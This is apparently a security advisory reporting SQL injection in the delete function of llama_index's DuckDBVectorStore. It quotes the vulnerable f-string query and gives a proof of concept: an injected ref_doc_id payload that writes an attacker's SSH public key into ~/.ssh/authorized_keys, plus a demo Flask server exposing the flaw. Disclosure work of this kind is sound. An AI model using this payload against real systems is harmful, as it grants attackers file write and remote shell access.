# SQL Injection in DuckDBVectorStore via delete can lead to RCE in [run-llama/llama\_index](https://github.com/run-llama/llama_index)
# Description
The delete function in DuckDBVectorStore easily attacks SQL when the attack controls the `ref_doc_id` parameter.This can help attackers read and write arbitrary files on the server and lead to rce.
_ddb_query = f"""
DELETE FROM {self.table_name}
WHERE json_extract_string(metadata_, '$.ref_doc_id') = '{ref_doc_id}';
"""
# Proof of Concept
First, the attacker can gen sshkey, and put his public key into `~/.ssh/authorized_keys` by using payload.
doc1';COPY (SELECT '[publickey]') TO '~/.ssh/authorized_keys';-- -
# I made a simple web server using DuckDBVectorStore.
from flask import Flask, request, jsonify, render_template
import os
import numpy as np
from llama_index.vector_stores.duckdb import DuckDBVectorStore
from llama_index.core.schema import TextNode
app = Flask(__name__)
persist_dir = "./persist"
os.makedirs(persist_dir, exist_ok=True)
vector_store = DuckDBVectorStore("chatbot.duckdb", persist_dir=persist_dir,recreate_table=True)
def add_document(doc_id, text, category):
embedding = np.random.rand(1536).tolist()
text_node = TextNode(id_=doc_id, text=text, embedding=embedding, metadata={"category": category})
vector_store.add([text_node])
add_document("doc_1", "Machine learning is amazing!", "AI")
add_document("doc_2", "Deep learning improves natural language processing.", "NLP")
add_document("doc_3", "DuckDB is great for handling large datasets.", "Database")
@app.route('/delete', methods=['POST'])
def ask():
data = request.get_json()
doc_id = data.get('doc_id')
vector_store.delete(ref_doc_id=doc_id)
return jsonify({'message': "ok"})
if __name__ == '__main__':
app.run(port=7000)
# POC Video
https://drive.google.com/file/d/11Wt8msCWNJT564eJS4Rs9qUBzhJkoRPm/view?usp=sharing
# Impact
This can help attackers read and write arbitrary files on the server and lead to rce
## References
* [https://owasp.org/www-community/attacks/SQL\_Injection](https://owasp.org/www-community/attacks/SQL_Injection)
暂无评论